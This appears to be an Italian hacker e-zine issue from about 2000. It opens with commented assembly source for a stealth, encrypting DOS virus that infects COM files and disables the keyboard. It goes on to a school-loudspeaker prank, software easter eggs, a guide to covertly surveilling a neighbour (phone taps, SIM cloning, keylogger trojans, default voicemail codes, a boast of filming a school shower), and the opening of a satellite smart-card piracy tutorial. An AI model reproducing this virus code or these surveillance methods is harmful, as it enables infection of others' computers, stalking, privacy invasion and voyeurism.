; Esci e/o esegui ospite mem_install: ; ----< THIS code ripped from Dark Angel mov ah,4Ah ; Allocate Memory mov bx,0FFFFh ; Ridicolous Size int 21h jmp no_more_mem mov ah,4Ah ; Alter Memory sub bx,(offset end_virus - offset start + 15)/16+1 ; Subtract Virus size int 21h mov ah,48h ; Allocate Memory mov bx,(offset end_virus - offset start + 15)/16 ; Virus size int 21h push ax ; Salva segmento dec ax mov es,ax ; ES = Segment of MCB mov byte ptr es:[0],'Z' ; Last MCB mov word ptr es:[1],0008h ; DOS Owner of this memory pop es ; Riprendilo: ES=Segmento del virus Adesso copia il codice del virus nell'area di memoria per lui allocata: ; Copia virus nella nuova area di memoria ES:DI mov si,bp ; in SI offset mov di,0100h add si,di ; Aggiungi 100h :) mov cx,((offset end_virus - offset start)/2)+1 ; Size in WORD del virus rep movsw ; Copia ! push es push ds mov ax,es ; in DS segmento del virus mov ds,ax ; DS = ES xor ax,ax mov es,ax ; ES = AX = 0 Ora devo reindirizzare le chiamate all'interrupt. Invece di usare le opportune chiamate del MS-DOS preferisco agire al livello piu' basso possibile, modificando direttamente la memoria: mov bx,word ptr es:[4*21h+0] ; OffSet mov ax,word ptr es:[4*21h+2] ; Segmento mov word ptr ds:[INT21h],bx ; Offset mov word ptr ds:[INT21h[2]],ax ; Segmento cli ; Disabilita INT mov word ptr es:[4*21h+0],offset newint21h ; OffSet mov word ptr es:[4*21h+2],ds ; Segmento sti ; Riabilita INT pop ds pop es mov dx,cs mov es,dx ret Se non c'e' un file ospite (xche magari e' il virus originale) esci tranquillamente. no_guest: int 20h nop Questo e' il messaggio che il virus deve contenere per poterne identificare il nome e l'autore. Naturalmente, una volta compilato ed eseguito, il messaggio e' codificato ed invisibile ad occhio nudo. Viagra db "[Viagra]",00h,"* Araknoid v0.1 * D.N.A.! ",13,10 db "Hey man, your computer need some Viagra !$" encrypt_end: ret hlt cli Word che contiene la chiave di codifica/decodifica Key dw 0 Questa e'la parte principale e piu' critica del virus. Questa parte di codice si occupa di infettare e nascondere il virus. Fate attenzione ai passaggi: ; -=> HANDLER Interrupt 21h Questa variabile contiene l'offset dell'interrupt 21h originale. INT21H dd ? Questo primo pezzo serve per interpretare i comandi: newint21h proc far Assume CS:CODE_SEG, DS:Nothing cmp ax,'VI' ; Virus Command ? jne check_call cmp bx,'Id' ; Ident ? jne No_Id ; Nop mov ax,'OK' ; Reply OK :) No_Id: cmp bx,'Do' ; DoS ? jne End_Int ; Nop..exit Interrupt now ! jmp dos ; Yes DoS ! End_Int: ret 2 Adesso si cerca di identificare la chiamata pervenuta (per la documentazione relativa vi consiglio le Ralph Brown Interrupt List): check_call: cmp ah,4Bh ; Load and Execute ? je load_execute cmp ah,11h ; Find First Matching File (Dir Stealth) je dir_stealth cmp ah,12h ; Find Next Matching File (Dir Stealth) je dir_stealth cmp ax,4300h ; Get File Attributes je load_execute cmp ax,4301h ; Set File Attributes je load_execute cmp ah,3Dh ; Open File je load_execute cmp ah,4Eh ; Find First Matching File (Dir Stealth) je newdir_stealth cmp ah,4Fh ; Find First Matching File (Dir Stealth) je newdir_stealth jmp do_int_now Questa e' la procedura di stealth. Il processo e'semplice: ogni volta che si richiede la lista dei file/directory il virus sa' che ad ogni elemento della lista corrisponde un potenziale file infetto. Il virus controlla se e' infetto (Time mark: 62 secondi) e, se lo e', sottrae la dimensione del virus alla dimensione totale del file cosi' la regola 1 e' soddisfatta e l'utente poso attento non si accorge di nulla. dir_stealth: pushf ; INT 21h call INT21H ; Esegui Chiamata DOS ; Now DS:DX point to a valid FCB into DTA ; To stealth i must modify FCB directly there :) push ax push bx push cx push dx push es cmp al,0FFh ; "No More Matching file" je not_to_stealth mov ah,2fh ; Get address to current DTA pushf ; INT 21h call INT21H ; Esegui Chiamata DOS ; Now in ES:BX there is DTA address cmp word ptr es:[bx+08h],'OC' ; First chech if file is a COM jne not_to_stealth mov cx,word ptr es:[bx+16h] ; Check if infected (Sec set to 62) and cx,1Fh ; Reset all unwanted bit :) AND 0000000000011111b cmp cx,1Fh ; Marked ? jne not_to_stealth ; Nopa,skip over ; Now subtract Virus Size to File Size mov cx,word ptr es:[bx+1Ch] ; In CX file size sub cx,(offset end_virus - offset start) ; Subtract it :) mov word ptr es:[bx+1Ch],cx ; Replace over ; Finish ! not_to_stealth: pop es pop dx pop cx pop bx pop ax ret 2 ; Return home :) Adesso cerca di infettare un file eseguito. Prima di infettare il virus deve controllare se il file corriponde ai requisiti richiesti: essere un vero COM e che il nome non inizi per 'W'. load_execute: push ax push bx push cx push dx push es push ds push di push si call InfectIfCom ; DS:DX nome del file pop si pop di pop ds pop es pop dx pop cx pop bx pop ax do_int_now: pushf call INT21H ; Chiama DOS originale ret 2 Questa e' un'altra procedura stealth per le directory. Siccome ne esiste una nuova ed una vecchia per sicurezza ho deciso di "stealtharle" tutte e due :). newdir_stealth: pushf ; INT 21h call INT21H ; Esegui Chiamata DOS ; Now DS:DX point to a valid FCB into DTA ; To stealth i must modify FCB directly there :) jnc do_stealth ; All ok ? ret 2 do_stealth: pushf push ax push bx push cx push dx push es mov ah,2Fh ; Get address to current DTA pushf ; INT 21h call INT21H ; Esegui Chiamata DOS ; Now in ES:BX there is DTA address mov cx,word ptr es:[bx+16h] ; Check if infected (Sec set to 62) and cx,1Fh ; Reset all unwanted bit :) AND 0000000000011111b cmp cx,1Fh ; Marked ? jne newnot_to_stealth ; Nopa,skip over ; Now subtract Virus Size to File Size mov cx,word ptr es:[bx+1Ah] ; In CX file size sub cx,(offset end_virus - offset start) ; Subtract it :) mov word ptr es:[bx+1Ah],cx ; Replace over ; Finish ! newnot_to_stealth: pop es pop dx pop cx pop bx pop ax popf ret 2 ; Return home :) newint21h endp Ora infetta un file COM. Fare molta attenzione ai vari passaggi: ; Infect a COM infect_com: ; --- push 0B800h pop es mov bx,(80-2)*2 mov byte ptr es:[bx],'V' mov byte ptr es:[bx+1],08h ; --- DO ENCRYPTION ------------------- get_rand: in ax,40h ; Get Pseudo-Random Number cmp ax,0 je get_rand mov word ptr cs:[Key],ax ; Key is into AX call EncDec ; Encode ; -------------------------------------- ; Now we are ready to infect but before do it it's safe to save all attrib. ; and Date's and Time's last modify to prevent suspect :) ; Variables is also to prevent stack problem. mov ax,4300h ; Get file attributes pushf ; INT 21h call INT21H ; ----^ mov word ptr cs:[FileATTR],ax mov ax,4301h ; Set File attributes mov cx,00100000b ; Prevent Read-Only et simila pushf ; INT 21h call INT21H ; ----^ mov ah,3dh ; Open File to infect mov al,00000010b ; Read Write Compatibility Mode xor cl,cl pushf ; INT 21h call INT21H ; ----^ jnc do_read ; All Ok,continue :) jmp f_open_err ; If fail, escape now ! :( do_read: push dx ; Salva dati push ds mov bx,cs ; BX = CS mov ds,bx ; DS = BX xchg bx,ax ; BX = File Handle call GetTime ; Salva Data e Ora ultima modifica mov ah,3fh ; Read from file (First 6 Bytes,enought for replace JMP) mov cx,6 ; 6 Byte (2 Anti-TBAV,3 JMP and 6th is Virus Mark) lea dx,OrigJMP ; Point to 6-Byte Buffer pushf ; INT 21h call INT21H ; ----^ jnc do_check ; All ok,continue :) jmp f_common_err ; If error, escape now ! :( do_check: lea si,OrigJMP cmp word ptr cs:[si],'MZ' ; False COM ? je f_common_err ; Shit... cmp word ptr cs:[si],'ZM' ; False COM ? je f_common_err ; Shit... add si,5 ; Pointer to 6th element cmp byte ptr cs:[si],'V' ; Virus Mark Found ? je f_common_err ; File already infected...mmm...exit ! mov ax,4202h ; Seek to the end of file (to have file size) xor cx,cx ; 0 xor dx,dx ; 0 pushf ; INT 21h call INT21H ; ----^ jc f_common_err ; Shit, it fail ! :( mov di,ax ; DI contains File Size mov ah,40h ; Write to file mov cx,(offset end_virus - offset start) ; Size of virus mov dx,0100h ; Write all VIRUS Code :D pushf ; INT 21h call INT21H ; ----^ jc f_common_err ; Shit, it fail ! :( mov ax,4200h ; Seek to TOP af file xor cx,cx ; 0 xor dx,dx ; 0 pushf ; INT 21h call INT21H ; ----^ jc f_common_err ; Shit, it fail ! :( lea si,TempJMP Questa e'la parte in cui si sostituisce la prima istruzione del file in un JMP per eseguire il virus. Attenzione alla tecnica usata per generare il nuovo JMP: mov byte ptr cs:[si],24h ; Anti-TBAV Tricks mov byte ptr cs:[si+1],21h ; --^ mov byte ptr cs:[si+2],0E9h ; JMP Opcode mov ax,di ; AX = File Size sub ax,5 ; Sub 5-Byte of JMP mov byte ptr cs:[si+3],al ; LSB mov byte ptr cs:[si+4],ah ; MSB mov byte ptr cs:[si+5],'V' ; Virus Mark mov ah,40h ; Write to file mov cx,6 ; 6 Byte lea dx,TempJMP ; New JMP pushf ; INT 21h call INT21H ; ----^ jc f_common_err ; Shit, it fail ! :( call SetTime ; Salva Ultima Modifica e Ora f_common_err: mov ah,3eh ; Close file pushf ; INT 21h call INT21H ; ----^ pop ds ; Preleva Dati Salvati pop dx mov ax,4301h ; Set File Attributes (Restore old ones) mov cx,word ptr cs:[FileATTR] pushf ; INT 21h call INT21H ; ----^ f_open_err: mov ax,word ptr cs:[Key] call EncDec ; Decode ; --- mov bx,(80-2)*2 mov byte ptr es:[bx],' ' mov byte ptr es:[bx+1],0Fh ; --- ret Questa e' la procedura di Codifica/Decodifica: ; Key for encode/decode must be stored in AX EncDec: mov bx,ax ; BX is Key lea si,encrypt_start ; SI = Start of encrypted part mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size of part to decrypt enc_loop: mov ax,word ptr cs:[si] ; 16-Bit simple XOR encryption xor ah,bl xor al,bh mov word ptr cs:[si],ax add si,2 loop enc_loop ; Now Write Some Garbage Data ! mov cx,10 lea si,dummydata garb_loop: in ax,40h mov word ptr cs:[si],ax add si,2 loop garb_loop ret Queste sono procedure secondarie GetTime: mov ax,5700h ; Get File Time and Date pushf ; INT 21h call INT21H ; ----^ mov word ptr cs:[FileDATE],dx mov word ptr cs:[FileTIME],cx ret SetTime: mov ax,5701h ; Set File Time and Date mov cx,word ptr cs:[FileTIME] mov dx,word ptr cs:[FileDATE] or cx,1Fh ; Setta secondi a 64 :) pushf ; INT 21h call INT21H ; ----^ ret Alcune variabili: FileATTR dw 0 ; Some Variables FileDATE dw 0 FileTIME dw 0 Ecco una parte interessante: nelle due variabili seguenti viene memorizzato il JUMP originale sia del virus che dell'ospite. TempJMP db 6 DUP(00h) ; Store Temporary New JMP OrigJMP db 6 DUP(00h) ; Store Original JMP Questa procedura controlla che il file scelto sia veramente un .COM. Per prima cosa scanna la stringa alla ricerca dell'ultimo '.' (dot) che sicuramente equivale all'inizio dell'estensione del file. Allora prende il precedente '\' (backslash) che equivale sicuramente al punto di inizio del nome. ; Check if file in DS:DX is a .COM InfectIfCom: mov si,dx ; SI = DX xor di,di ; DI = 0 Is_Loop: cmp byte ptr ds:[si],'.' ; Ext ? je Is_Ex cmp byte ptr ds:[si],'\' ; Reminder last '\' jne Is_NoD ; Nopa mov di,si ; DI = Last '\' Is_NoD: inc si cmp byte ptr ds:[si],00h ; Fine ? jne Is_Loop Is_No: ret Is_Ex: inc di ; Seek on first letter of File Name cmp byte ptr ds:[di],'W' ; File Name start with 'W' ? je Is_No ; Yes, don't infect (can be WIN.COM) inc si cmp byte ptr ds:[si],'C' jne Is_No inc si cmp byte ptr ds:[si],'O' jne Is_No inc si cmp byte ptr ds:[si],'M' jne Is_No jmp infect_com E questa e'la routine del DoS: ; ---- ; ; DoS Routine posx db 01h posy db 01h dirx db 00h diry db 00h dos: ; Disable Keyboard input cli ; Disabilita INT mov bx,word ptr es:[4*03h+0] mov dx,word ptr es:[4*03h+2] mov word ptr es:[4*09h+0],bx ; OffSet mov word ptr es:[4*09h+2],dx ; Segmento sti ; Riabilita INT mov ah,09h ; Display String lea dx,Viagra pushf ; INT 21h call INT21H ; ----^ ... ; End of Sign dummydata db 20 DUP(90h) end_virus: CODE_SEG ENDS END start ============================================================================== == v1.0 [04-01-2000] == http://zap.to/ozone ============================================================================== ---0.Zone--- ##################################################### ####### TTTTTTT RRRR III CCCC K KK SSSS ####### ####### TTT R R III C K K S ####### ####### TTT RRRR III C KK SSSS ####### ####### TTT R R III C K K S S ####### ####### TTT R RR III CCCC K KK SSSSS ####### ##################################################### -=!!!|-fUn aT tHe sCh00l!-|!!!=- Autore: c(H)e Anarkia anke nell'informazione skolastika.... (l'altoparlante ke fino a poko tempo fa era esclusiva del preside....) Classe. Un kazzo da fare, come al solito. La prof di latino.... "...L'impero di Augusto era illuminato, nell'arte, soprattutto. Produsse scritti meravigliosi, non come sotto Stalin (e un mio compagno sottovoce: "non toccatemi Stalin"), non come in Cina ("non toccatemi la Cina non come a Cuba (" Porko dxo, non toccatemi Fidel!") . " La mia inkazzatura aumenta, aveva osato dire male di Cuba, kazzo. Ad un certo punto una voce esce dall'altoparlante, il preside che dice le solite menate. E in me nasce un'idea... e se a meta' lezione mentre la prof dice kontro Cuba (tanto succede sempre) si sente dall'altoparlante una canzoncina come "Hasta siempre Comandante", "Coihba" e un po' di versi ai prof???? hihiihi Se avete anke voi una prof nazista o volete seplicemente rompere il kazzo in classe, leggete (merda, sembra una propaganda elettora le di Berluskazzen: -[ Se volete un'Italia migliore...FANKULO! ]- Occorrente: -uno walkman -un paio di cuffie da spakkare -un paio di palle -un paio di pinze da elettricista -una cassetta su cui registrare quello che volete far sentire -una classe da sodomizzare Ok??? Innanzitutto vi mettete in un posto dove nessuno rompa i koglioni, con i vostri attrezzi intorno. Prendete le cuffie del kazzo e ne tagliate il filo a una 10ina di cm dagli auricolari (basta di una). A questo punto (usando naturalmente la parte con lo spinotto (buttate via le kuffie :)) dividete i due fili di plastica e ne spellate uno (che e' di una delle 2 cuffie, non importa quale) . A questo punto potreste avere due 2 scenari diversi davanti a voi: 1) Avete due fili, uno rosso e uno verde (che collegherete all'altoparlante in classe) (o del colore che kazzo gli pare) singoli. Questo e' il caso leggermente + complicato, perchè i deu fili devono essere isolati fra loro (non devono fare contatto) quindi ci e' stato messo un isolante colorato. Essendo un isolante, una volta tagliati i fili, non potete semplicemente ricollegarli, ma dovete grattare via il colorante per fargli fare contatto (o saldarli, ma vi voglio vedere a portare un saldatore a scuola....hehehe=:-) .Il problema e' che i due fili sono in generemolto sottili e levare il colorante puo' essere un problema. Io consiglio di prendere un piano duro (possibilmente non il tavolo di casa da 9 milioni....hehehe), appoggiarci sopra il filo e delicatamente (mooolto, attenti a non strapparlo), con un coltello molto affilato, grattarlo. A questo punto fate in modo di poterli riconoscere tra di loro. 2) Avete un filo verde (o rosso) e una matassa di fili (che sostituiscono l'altro. Fate come vi ho detto prima per il filo verde.... gli altri non sono isolati, quindi non c'e' bisogno. Se volete fare un prova, ricollegateli alla parte dell'auricolare (dopo aver spellato anche quella) e guardate se funzia. A questo punto. e' venuta l'ora di provare con un altoparlante "vero". Se non avete voglia di rubare da una classe (magari non vostra) il famigerato altoparlante, prendete una radio (possibilmente non nuova di pacca, vi tocca spakkarla!!:), smontatela e staccate l'altoparlante dal resto. Dovreste avere anke qui due fili che arrivano all'altoparlante. Questa volta, essendo fili + grandi, sono isolati con "tubicini di plastica... li spellate e li collegate con la parte delle kuffie con cui avete lavorato prima.... attakkate il connettore allo walman e dovrebbe funziare. Per l'altoparlante di skuola e' la stessa cosa, solo che i fili non vanno direttamente all'altoparlante, ma prima, passano dall'amplificatore. Fregatevene: stakkate i fili che vanno dall'amplificatore all'altoparlante (se mi dite che non sapete qual'e' l'amplificatore vi sbudello:) e ci collegate i bei fili dell'walkman. Se per kaso nel vostro modello non ci fosse l'amplificatore (non l'ho mai trovato cosi':) e' ankora + semplice... fate come avete fatto a casa con la radio...... ah... quasi mi scordavo... quando lavorare, direte voi... se non siete espertini (INI) e non volete farlo a ricreazione (anke se c'e' il tempo + che suff) andate a skuola durante i consigli di classe, o nelle aperture pomeridiane.... la skuola e' vuota.... fate anke un visitina negli armadietti dei custodi, se ce la fate!!!!:))))))) Per levare il problema di avviamento, preparate la cassetta con un po' di tempo vuoto prima della registrazione (in modo da poterlo avviare all'inizio della lezione e che la musica inizi dopo un po') Per ovviare al problema di nasconderlo, io consiglio dietro l'altoparlante, in genere c'e' abbastanza spazio....senno' fate voi!!!! P.S.: Non mi assumo nessuna responsabilita' per il cattivo utilizzo di questo documento, che e' a solo scopo informativo. Il preside vi potrebbe mangiare vivi...:) P.P.S.: Sto cercando di collegare un walkman o un qualcosa di simile ad un "nodo" per farlo sentire a tutto un piano... se mai ci riusciro' (ho paura di dover smurare. . .al'interno di una skuola, davanti ai bidelli! :) scrivero' qualcosa per farvi sapere!!!!! ---C(h)e--- -=!!!|-Ovetti di Pasqua dall'-=AiS production=- per tutti voi!!-|!!!=- Autore: The Jackal Potevamo noi dell'AiS non pensare a tutti voi, amati lettori, che vi apprestate a vivere queste vacanze di Pasqua senza avere tra le mani la vostra web-zine preferita (NdR. Non ti starai allargando troppo?!)? Naturalmente no!! Ma dato che mandare un ovetto di Pasqua a tutti sarebbe stato impossibile (avremmo dovuto scendere a patti con la L.I.S.A. affinche' scannerizzasse le vostre menti alla ricerca dei nostri articoli...), abbiamo pensato di regalarvi alcune delle sorpresine contenute nei programmi e nei sistemi operativi piu' conosciuti. Dato che scrivo proprio nel giorno di Pasqua (ed il termine ultimo per la consegna degli articoli e' tra 3 giorni), non avro' il tempo di provarli tutti... infondo, conta soltanto il pensiero!! ~ Piccola nota... Tutti gli easter eggs che sto per scrivere sono stati liberamente copiati e tradotti dal sito HTTP://WWW.EEGGS.COM Ce ne sono 3297 su film, libri, Tv, musica e, naturalmente, su tutto quello che riguarda il computer (giochi, programmi e, persino, hardware). Da visitare!! ~ Windows 95/98/2000 *[ Volcanoes ]* Andate al Pannello di Controllo --> Schermo Click sulla maschera degli Screen Savers Selezionate lo Screen Saver Testo3D ed andate nelle sue Impostazioni Selezionate la voce Testo in Visualizza Digitate la parola "volcano" (senza apici) e godevi lo spettacolo... ~ Windows 95 *[ Bill Gates' Horse, Nugget ]* Avviate Windows 95 Aspettate finche' non vedrete il cursore nel mezzo dello schermo nero Premete i tasti seguenti nell'ordine esatto e senza le virgole: Ctrl, F6, Right shift, Delete, tasto destro del mouse Se sarete riusciti a farlo prima che sia comparso il vostro sfondo, dovreste vedere Nugget, il cavallo dello zio $ill... *[ Product Team Credits ]* Click col tasto destro sul Desktop Scegliete Nuovo --> Cartella Chiamatela "and now, the moment you've all been waiting for" Ancora click col tasto destro sulla nuova cartella per rinominarla in: "we proudly present for your viewing pleasure" Fatto questo, rinominarla in "The Microsoft Windows 95 Product Team!" Aprite la cartella e godetevi i tanto sudati credits... ~ Windows 98 *[ Windows 98 Team 2 ]* Doppio click sull'orologio per visualizzare le proprieta' Data-Ora Cliccare sulla Impostazione del fuso orario Tenere premuto il tasto Ctrl (questa e' la parte piu' difficile) Cliccate e tenete premuto il tasto del mouse sul Cairo, Egitto. Con il tasto del mouse ancora premuto, trascinate il puntatore su Baton Rouge, LA Lasciate pure il tasto del mouse, ma non mollate il Ctrl. Cliccate nuovamente il tasto del mouse e trascinate il puntatore da Baton Rouge a Redmond, WA Lasciate il tasto, e se avrete fatto tutto correttamente, dovreste godervi un bel filmatino... ~ WinAmp 2.xx *[ STARS!! ]* Avviate WinAmp 2.xx Avviate un file audio Settate la visualizzazione sul fire style Cliccate su "winamp" per rendere la finestra piu' piccola Cliccate il logo piccolo all'estrema sinistra Click su Nullsoft WinAmp Click sulla tabella all'estrema destra Godetevi lo spettacolo... (se ci riuscite ditemi con quale versione l'avete fatto!!) ~ Internet Explorer 5.0 *[ Trident Team Credits ]* Aprite IE5 verione finale (5.00.1402.16 o superiori) Digitate "about:" nella linea dei link... *[ Wacky Search Menu ]* Dal Menu', selezionate Strumenti --> Opzioni Internet Nella tabella Generale, cliccate su Lingue Aggiungetene una nuova con il nome (senza apici) "ie-ee" e date l'ok Spostate "Definito dall'utente[ie-ee]" all'inzio della lista Uscite e tornate ad Internet Explorer Fate click sul pulsante Cerca Troverete una nuova voce, Selezionate 'Previous Searches' Buona visione... ~ Norton Utilities 2000 *[ CD Fun in Norton Utilities 2000 ]* Aprite la directory delle NU dal vostro CD-rom (originale!!) Cercate ed eseguite Nuegg.exe Buon divertimento... ~ L'angolo dei classici *[ Excel 97 FLIGHT TO CREDIT ]* Create un nuovo foglio di lavoro Premete F5 Scrivete X97:L97 e poi Invio Premete il tasto di Tabulazione Premete Ctrl-Shift Premete anche il pulsante dei grafici nella barra dei comandi in alto Usate il mouse per svolazzare... *[ Word 97 Pinball ]* Aprite un nuovo documento Digitate la parola Blue Selezionate la parola e grassettatela Cambiatene anche il colore in blu Digitate anche uno spazio di fianco alla parola appena personalizzata Selezionate la voce "Informazioni su..." nel menu' ? Quando vi appare la maschera delle informazioni, cliccate sul logo di Word in alto a sinistra Giocate pure al flipperino... Questa e' tutto. Molto altro ancora potrete trovarlo al sito che vi ho consigliato. Prima di chiudere, permettetemi di augurare una Buona Pasqua a tutti voi, credenti e non... (anche se, quando leggerete questo pezzo, sara' ormai tutto trascorso). Un saluto particolare va a Mary... perche', se fossimo ancora insieme, oggi (23 Aprile) sarebbe, ancora una volta, un giorno speciale. ---ThE Jackal--- -=!!!|-cHi l0gGa sI dIvErTe-|!!!=- Autore: Gouranga Loggare non credo sia una pratica di phreaking, neanche di hacking o simili, credo che sia una cosa a sè. Ora vi insegnerò come loggare il vicino, l'occorente è: L'acesso fisico alla casa della persona -Un ricetrasmettitore 2GhZ -Un cavetto per collegare il cellulare al pc -Un registratore di chiamate -Un telefono Acesso fisico ad una centralina -Una videocamera -Una microcamera -Un ricevitore (radioscanner) 1800MhZ -Cinque o sei magneti abbastanza potenti -1 microfono -Casette tipo vhf 120-180 min. -Un cellulare -Ampliatore di frequenza Loggare mi è sempre piaciuto.....anche se credo che sia una tra le cose più sporche che ci siano, daltronde siamo spiati di giorno e di notte dall'occhio del Grande Fratello...... Ho sempre voluto sapere quelle piccole cose che un giorno potrebbero esermi utili. La conoscenza è potere. Le cose che intendo spiare non sono riprendere la figlia del vicino mentre si fa la doccia. Questi metodi venivano usati anche da NSA, F.B.I., KGB, molti anni fa, prima dei tempi dell'assassinio di Kennedy, ora usano cose che neanche ci immaginiamo. Le parole loggare, loggatore, logghista, sono parole che indicano le persone, il mestiere o le cose che spiano e inseriscono tutto all'interno di un file con estensione log o simili. O detto anche cose perchè esistono satelliti che loggano, videocamere o regisratori oltre a persone. Trent'anni fa circa chi pronunciava al telefono le parole chiave saddam, presidente, attentato, terrorismo, Allah (o elencato queste ma sono a migliaia), la sua linea veniva captata e inviata subito a un computer che registrava, si parla di 30 anni fa. La persona spiata non deve sapere di essere spiata (?). Voi dovete essere completamente anonimi (almeno per il tempo del loggaggio). L'acesso fisico alla casa è fondamentale. Senza di esso potete fare ben poco. Il ricetrasmettitore 2GhZ è importante per sentire communicazioni su cordless (da 959.0000 a 960.0000), provocare interferenze o "infiltrarsi" nella communicazione, sentire conversazzioni cellulari eTacs (da 900.0000 a 950.0000), ricevere segnali radio, fare interferenza su radio locali o cose simili (80 MhZ circa). I cordles hanno la caratteristica di trasmettere sempre sulla stesa frequenza, o cambia di pochi KhZ. Se volete solo ascoltare allora va benissimo il radioscanner 0.5 khz 1800 MhZ. Ora prendete il vostro fidatissimo registratore di chiamate, prendete un cavo telefonico e scarnatelo, vi usciranno 4 cavi, prendete i due centrali. Scarnateli e collegateci due coccodrillini, collegate il pin dalla parte opposta al reggistratore e i coccodrillini alla centralina (rosso con rosso, restante con restante). I registratori di chiamate hanno la capacità di registrare solo le chiamate in uscita o in entrata, od'entrambe, sono capaci di sentire quando una persona alza l'aparecchio telefonico evitando sprechi di nastro. Hanno anche la possibilità di memmorizzare i numeri coposti. Si possono vedere così i numeri che la persona chiama più di frequente. Un servizzio utile è l'1412, inserendo il numero telefonico ti dice l'intestatario. La telecamera è utilissima, avete cespugli o bidoni dell'immondizia vicino alla casa della persona spiata? benissimo, mettete la telecamera sotto il cespuglio o dietro il bidone, o create anche una postazione a se, anche se è molto più in evidenziata. La microcamera (chi è il fortunato che ne ha una) è in grado di trasmettere tramite infrarosso, cavo o etere immagini che vengono lette dal lettore pur essendo grande pochi centimetri. La microcamera può essere messa sul televisore, dalla parte delle casse audio, dove ci sono i forellini (?). Con la centralina potete sempre fare ponte, così le chiamate passano sempre anche per casa vostra, il problema è sapere quale linea è quella di casa vostra. Il cavetto che collega il cellulare al pc si usa per clonare la sim card o il telefonino tacs in media. Software di clonazione ne trovate a migliaia, comprese le istruzioni di come clonare. Una volta clonata la sim potete fare chiamate a nome del possesore della sim o adirittura riceverle.... Non rispondere mai se si ha la certezza che il loggato sta per rispondere, non far mai sentire la propia voce. Seguire i movimenti della persona è importante... Possibilmente vedere anche dentro il suo cestino per vedere se trovate carte o cose che possono tornare sempre utili. Bisogna conoscere il passato di una persona, nei minimi dettagli possibilmente. Non bisogna entrare in questo argomento con nessuno, potrebbe sempre riferire. I magneti servono per creare piccole interferenze via etere, basta metterli sull'antenna. La vittima ha un PC con windows installato? Potete usare un programma di key logger, cioè un programmino che memorizza dentro un file log tutti i tasti della tastiera premuti, quello che ho allegato è fantastico, spedisce addirittura tramite e-mail il file log (telnet credo). Una volta spediti si autodistrugge dal computer insieme al programma non lasciando alcuna traccia, fantastico. Tutto avviene tramite un trojan di 21 kb e il programma, invisibile praticamente. La cosa migliore è vedere i file sul PC di una persona, usare netbus o simili, è da lamer ma funziona, anche se la cosa migliore è accedere direttamente ai file di una persona, non bisogna cancellare niente, neanche se la persona è bastarda. Potete inserire una cimice telefonica sul telefono. Avevo i progetti per costruirne una ma gli ho persi, comunque si trova su qualsiasi negozio di elettrotecnica, credo, comprarla viene di sicuro meglio di quella che fate voi. La cimice telefonica è grande più o meno 1 cm di raggio, deve essere posizionata sul microfono del telefono, in modo che tocchi la sbaretta metallica in basso, dopo basta avere un ricevitore e si possono sentire discorsi vari. Volete sentire un discorso su una stanza, niente di più facile, prendete un walkman a 500khZ, larga ricezione, tre canali, mettetelo ben nascosto (su condotti dell'aria, ripostigli, sotto armadi o mobili, ecc..) basta sintonizzarlo sullo stesso canale che trasmette che è una meraviglia. Se siete un po distanti basta che sintonizziate un ampliatore di frequenza sulla stessa banda, la frequenza viene ampliata secondo il trasmettitore. Avete mai visto quei siti internet in cui compaiono spy cam di filmati pre-reggistrati? Inviare i filmati della persona su internet mi sembra eccessivo, però divertente. Se la persona usa una cassetta e-mail (il programma allegato logga anche questo, e spedisce anche le password di sistema) potete loggare anche quella, sapete il nome utente e password e il gioco è fatto. Poter inviare e-mail a nome di un altro non è una cosa da poco (nel senso molto utile). Per vedere nomi utenti e password varie consiglio userpas. Appogiare una telecamera ad un vetro, magari ben nascosto, è utile ed efficace. Io lo ho fatto una volta sullo spogliatoio femminile della mia scuola, sulle docce, funziona benissimo. Ascoltare una segreteria di una persona è facilissimo, di solito nessuno cambia il codice, tranne io, basta che quando dice, risponde la segreteria telefonica.... premere * e digitare 1234* (omnitel) oppure # 1111# (tim), per memotel il codice è # 1234#. Una volta inseriti dentro la segreteria potete cambiare mesaggio di benvenuto, codice d'acesso, sentire i mesaggi (?), cancellare o memorizzare i mesaggi e così via..... Delle segreterie wind non so il codice di acesso. Per loggare come detto, bisogna essere anonimi, codici che tengono anonimi tipo *67# o 1793 sul telefono fisso non sono sicuri, un metodo usato è il trasferimento di chiamata, la linea 1 viene trasferita alla linea 2 che viene trasferita alla linea 3 che infine chiama il numero voluto, magari con prima 1793, vengono usati questi metodi anche da agenzie varie. ES: 1__________2__________3__________4__________destinatario Più linee sono meglio è.... Magari se le linee passano anche per altri stati è meglio. I codici per tenersi anonimi sono : *67# o 1793 telefono fisso, #31# omnitel e wind,931 tim. La polizia traccia come niente la persona che usa questi codici, la NSA con il trasferimento non ci mette niente, solo il tempo di trovare la linea di partenza. Una volta ho visto su un film un metodo che usavano per spiare una persona, secondo me ancora efficace, anche se il film è anni '50. Avevano un furgone e lo avevano piazzato vicino a una centralina, con una telecamera puntata verso la casa a cui era intestata la linea, reggistravano i movimenti e anche le chiamate, ottimo. ---gouranga--- -=!!!|-sAtElLiTe hAcKinG-|!!!=- Autore: ^Mfonzie^ Thanx to: Cyber per collaborazione, impegno e volonta'. DISCLAIMER Le solite dichiarazioni: Le informazioni presenti su questo articolo sono a titolo esclusivamente informativo quindi non mi assumo nessuna responsabilità sull'uso che ne potreste fare. Conoscere è legale, le informazioni sottostanti sono comunque reperibili facilmente su internet. IO NON VENDO NIENTE E NON CERCO DI ISTIGARE NESSUNO ALLA PIRATERIA. CONOSCERE E' LEGALE. RICORDATE IL VERO PROBLEMA SONO I NEGOZIANTI ( e tutti quelli che lucrano su questo)CHE SI STANNO ARRICCHENDO ALLE SPALLE DELLE EMITTENTI CREANDOSI UN VERO E PROPRIO MERCATO DI SMART CARD PIRATA. Cmq state attenti e non fate cazzate ;) Salve ....finalmente ho trovato un po' di tempo per scrivere qualcosa per A.I.S...spero che la gradirete. conoscete Stream ???D+?????? e tutti i pacchetti stranieri??? E' bello vedere tutte le partite gratuitamente, i film ,la Pay per View (senza Pay ;-) la Formula 1 su sette canali e magari anche qualche bel canale per adulti no??? ;-) il tutto anche in dolby surround, 16:9 ecc. Bene oggi vi spiegherò come realizzarvi la vostra bella smart card per la TV digitale in base alle mie esperienze personali. Sicuramente ne avrete sentito parlare in giro,forse avete dei dubbi oppure conoscete chi nella vostra città vende schede già modificate a prezzi astronomici. bene io vi spiegherò tutto con precisione. Vi starete chiedendo in cosa consiste? bisogna riprogrammare la scheda ..... cosa mi serve ? Bene prima di tutto un po' di teoria: Interfaccia Smart Mouse / Phoenix: (Phoenix è quella che ci serve) Si tratta del programmatore, capace di inviare i comandi alla scheda (potete acquistarlo su internet già fatto o 